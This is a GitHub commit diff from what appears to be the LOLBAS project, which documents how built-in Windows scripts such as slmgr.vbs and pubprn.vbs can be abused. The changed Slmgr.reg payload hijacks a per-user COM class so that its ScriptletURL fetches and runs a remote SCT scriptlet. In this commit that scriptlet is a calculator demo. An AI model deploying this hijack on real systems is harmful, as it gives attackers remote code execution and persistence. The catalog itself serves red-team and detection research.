Skip to content

Commit d94fbc3

Browse files
committed
Added some
1 parent 0eb4ec6 commit d94fbc3

File tree

3 files changed

+7
-4
lines changed

3 files changed

+7
-4
lines changed

LOLScripts.md

+3-1
Original file line numberDiff line numberDiff line change
@@ -5,4 +5,6 @@ If you are missing from the acknowledgement, please let me know (I did not forge
55

66
# OS SCRIPTS
77

8-
[Cl_invocation](OSScripts/Cl_invocation.md)
8+
[Cl_invocation.ps1](OSScripts/Cl_invocation.md)
9+
[Pubprn.vbs](OSScripts/Pubprn.md)
10+
[Slmgr.vbs](OSScripts/Slmgr.md)

OSScripts/Slmgr.md

+3-2
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,8 @@ Acknowledgements:
1111
* Casey Smith - @subtee
1212

1313
Code sample:
14-
* [NameOfLink](Payload/NameOfPayload)
14+
* [Slmgr.reg](Payload/Slmgr.reg)
15+
* [Slmgr_calc.sct](Payload/Slmgr_calc.sct)
1516

1617
Resources:
1718
* https://www.slideshare.net/enigma0x3/windows-operating-system-archaeology
@@ -24,7 +25,7 @@ c:\windows\sysWOW64\slmgr.vbs
2425
```
2526

2627
Notes:
27-
Requires registry keys to work.
28+
Requires that registry keys are imported and SCT present to work. SCT path can be adjusted inside the registry keys.
2829

2930

3031

Payload/Slmgr.reg

+1-1
Original file line numberDiff line numberDiff line change
@@ -18,7 +18,7 @@ Windows Registry Editor Version 5.00
1818
@="Scripting.Dictionary"
1919

2020
[HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\ScriptletURL]
21-
@="https://gist.githubusercontent.com/enigma0x3/4373e9a63aaebe177c747af9bc6da743/raw/2207d8a1a536371aff5f61c8bef8400622868976/wee.png"
21+
@="https://raw.githubusercontent.com/api0cradle/LOLBAS/master/Payload/Slmgr_calc.sct"
2222

2323
[HKEY_CURRENT_USER\Software\Classes\CLSID\{00000001-0000-0000-0000-0000FEEDACDC}\VersionIndependentProgID]
2424
@="Scripting.Dictionary"

0 commit comments

Comments
 (0)